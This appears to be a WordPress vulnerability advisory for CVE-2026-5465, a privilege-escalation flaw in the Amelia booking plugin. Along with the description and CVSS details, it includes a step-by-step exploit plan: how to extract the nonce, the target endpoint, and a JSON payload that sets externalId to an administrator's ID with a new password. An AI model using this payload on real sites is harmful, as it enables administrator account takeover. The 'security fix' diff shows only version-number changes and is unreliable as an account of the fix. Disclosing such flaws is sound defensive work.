CVE-2026-5465

Amelia <= 2.1.3 - Insecure Direct Object Reference to Authenticated (Employee+) Privilege Escalation via 'externalId' Parameter

highAuthorization Bypass Through User-Controlled Key
8.8
CVSS Score
8.8
CVSS Score
high
Severity
2.2
Patched in
1d
Time to patch

Description

The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.1.3. This is due to the `UpdateProviderCommandHandler` failing to validate changes to the `externalId` field when a Provider (Employee) user updates their own profile. The `externalId` maps directly to a WordPress user ID and is passed to `wp_set_password()` and `wp_update_user()` without authorization checks. This makes it possible for authenticated attackers, with Provider-level (Employee) access and above, to take over any WordPress account — including Administrator — by injecting an arbitrary `externalId` value when updating their own provider profile.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.1.3
PublishedApril 6, 2026
Last updatedApril 7, 2026
Affected pluginameliabooking

What Changed in the Fix

Changes introduced in v2.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-5465 Amelia Privilege Escalation ## 1. Vulnerability Summary The Amelia plugin (<= 2.1.3) contains an Insecure Direct Object Reference (IDOR) vulnerability in the `UpdateProviderCommandHandler`. When an authenticated user with "Provider" (Amelia Employee) privileges update…

Show full research plan

Research Plan: CVE-2026-5465 Amelia Privilege Escalation

1. Vulnerability Summary

The Amelia plugin (<= 2.1.3) contains an Insecure Direct Object Reference (IDOR) vulnerability in the UpdateProviderCommandHandler. When an authenticated user with "Provider" (Amelia Employee) privileges updates their own profile, the application fails to validate the externalId parameter. In Amelia's architecture, externalId maps directly to a WordPress User ID. Because this value is passed to sensitive WordPress functions like wp_update_user() and wp_set_password() without verifying that the externalId matches the authenticated user's own ID, a Provider can modify the credentials of any WordPress user, including Administrators.

2. Attack Vector Analysis

  • Endpoint: admin-ajax.php?action=wpamelia_api&call=/users/providers/{id}
  • Method: POST (Amelia uses POST for updates, often mimicking RESTful PUT behavior via route handling).
  • Vulnerable Parameter: externalId (within the JSON request body).
  • Authentication Required: Authenticated user with the Amelia Employee (Provider) role.
  • Preconditions: The attacker must know the WordPress User ID of the target (typically 1 for the primary administrator).

3. Code Flow

  1. Entry Point: ameliabooking.php registers the AJAX action wpamelia_api via Plugin::wpAmeliaApiCall().
  2. Routing: Routes::routes($app, $container) defines the Slim framework routes. The route /users/providers/{id} is mapped to the UpdateProviderCommandHandler.
  3. Command Handling: UpdateProviderCommandHandler receives the request. It extracts data from the JSON body, including the externalId.
  4. Authorization Failure: The handler checks if the authenticated user is a Provider and is updating their own Amelia ID ({id}). However, it does not check if the externalId (the WP User ID) belongs to that same user.
  5. Sink: The command handler or the underlying UserService/UserRepository calls wp_update_user() or wp_set_password() using the attacker-supplied externalId.

4. Nonce Acquisition Strategy

Amelia requires a WordPress nonce for all wpamelia_api AJAX calls. For authenticated backend users (Employees/Admins), the nonce is generated and localized for the Vue.js dashboard.

  1. Login: Authenticate as the Provider (Employee) user.
  2. Identify Page: The Amelia backend dashboard is usually located at /wp-admin/admin.php?page=wpamelia-dashboard or /wp-admin/admin.php?page=wpamelia-employees.
  3. Extraction:
    • Amelia typically localizes its configuration in the wpAmeliaNonce global variable or within a large configuration object.
    • Action: Navigate to the Amelia Employees page in the WordPress backend.
    • JS Command: browser_eval("window.wpAmeliaNonce") or browser_eval("ameliaBookingData.nonce").
    • Note: In version 2.1.3, the common variable is window.wpAmeliaNonce.

5. Exploitation Strategy

Step 1: Data Setup

  • Create a WordPress user with the Amelia Employee role.
  • Ensure the Amelia plugin is configured so this user is recognized as a "Provider" within the Amelia > Employees section.
  • Identify the target Admin's WP User ID (default: 1).

Step 2: Obtain Nonce and Provider ID

  • Log in as the Employee.
  • Navigate to the WordPress Admin area.
  • Retrieve the wpAmeliaNonce.
  • Retrieve the Employee's Amelia Provider ID (can be seen in the URL when editing the profile or via a GET request to /users/providers).

Step 3: Execute Hijack Request

Send a POST request to update the profile, injecting the Administrator's WP ID into externalId.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php?action=wpamelia_api&call=/users/providers/{PROVIDER_ID}
  • Headers:
    • Content-Type: application/json
    • X-Amelia-Nonce: {NONCE_VALUE} (Amelia sometimes expects the nonce in a custom header or as a wpAmeliaNonce parameter in the body/URL).
  • Payload (JSON):
{
  "id": {PROVIDER_ID},
  "firstName": "Attacker",
  "lastName": "User",
  "email": "attacker@example.com",
  "externalId": 1,
  "password": "pwned_password123",
  "status": "visible"
}

Step 4: Access Admin Account

  • Log out.
  • Log in to /wp-login.php as the Administrator (e.g., username admin) using the password pwned_password123.

6. Test Data Setup

  1. Target User: User ID 1 (Admin).
  2. Attacker User: Create WP user employee_atk, role subscriber (Amelia will elevate this or link it).
  3. Amelia Config:
    • Go to Amelia > Employees.
    • Add employee_atk as an Employee.
    • Record the internal Amelia ID assigned to them (e.g., 5).

7. Expected Results

  • The API should return a 200 OK or 201 Created response with a JSON body confirming the update.
  • The WordPress database (wp_users table) will reflect the change for User ID 1.
  • The Administrator will no longer be able to log in with their original password.

8. Verification Steps

  1. Check via WP-CLI:
    # Check if the admin user's email was changed
    wp user get 1 --fields=user_email
    
    # Check if the password was updated (attempt login)
    wp user check-password admin pwned_password123
    
  2. Verify Amelia State:
    # Check if the provider is now linked to the admin ID in Amelia tables
    wp db query "SELECT * FROM wp_amelia_users WHERE id = {PROVIDER_ID}"
    

9. Alternative Approaches

  • Email Hijack: Instead of changing the password, change the email field associated with externalId: 1. Then use the WordPress "Lost your password?" feature to reset the Admin password via the attacker's email.
  • Method Spoofing: If the endpoint expects PUT, Amelia's Slim implementation might require an X-HTTP-Method-Override: PUT header or a _method: PUT parameter in the JSON body.
  • Generic Nonce: Check if the nonce used for public bookings (often found on the frontend page with the [ameliabooking] shortcode) is accepted by the backend API. (Though the vulnerability specifies Employee-level access).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Amelia plugin for WordPress is vulnerable to privilege escalation via an Insecure Direct Object Reference (IDOR) in the UpdateProviderCommandHandler. Authenticated users with Provider (Employee) permissions can update their own profile while supplying an arbitrary 'externalId' value, which corresponds to a WordPress User ID. Because the plugin uses this ID to call sensitive functions like wp_set_password() without verifying ownership, an attacker can take over any WordPress account, including Administrators.

Vulnerable Code

// ameliabooking.php line 185
public static function wpAmeliaApiCall()
{
    try {
        /** @var Container $container */
        $container = require AMELIA_PATH . '/src/Infrastructure/ContainerConfig/container.php';

        $app = new App($container);

        // Initialize all API routes
        Routes::routes($app, $container);

        $app->run();

        exit();
    } catch (Exception $e) {
        echo 'ERROR: ' . esc_html($e->getMessage());
    }
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.1.3/ameliabooking.php /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.2/ameliabooking.php
--- /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.1.3/ameliabooking.php	2026-03-23 12:11:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.2/ameliabooking.php	2026-04-06 08:22:38.000000000 +0000
@@ -3,7 +3,7 @@
 Plugin Name: Amelia
 Plugin URI: https://wpamelia.com/
 Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep!
-Version: 2.1.3
+Version: 2.2
 Author: Melograno Ventures
 Author URI: https://melograno.io/
 Text Domain: ameliabooking
@@ -111,7 +111,7 @@
 
 // Const for Amelia version
 if (!defined('AMELIA_VERSION')) {
-    define('AMELIA_VERSION', '2.1.3');
+    define('AMELIA_VERSION', '2.2');
 }
 
 // Const for site URL

Exploit Outline

1. Authenticate to the WordPress site as a user with the 'Amelia Employee' (Provider) role. 2. Navigate to the Amelia dashboard and extract the AJAX nonce from the 'window.wpAmeliaNonce' JavaScript variable. 3. Identify the target WordPress Administrator's User ID (usually 1). 4. Send a POST request to '/wp-admin/admin-ajax.php?action=wpamelia_api&call=/users/providers/{provider_id}', where {provider_id} is the attacker's own Amelia ID. 5. Include a JSON payload containing the keys 'externalId' (set to the Administrator's WP User ID) and 'password' (set to a new password of the attacker's choosing). 6. The plugin will execute wp_set_password() for the target ID, allowing the attacker to log in as the Administrator via wp-login.php.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.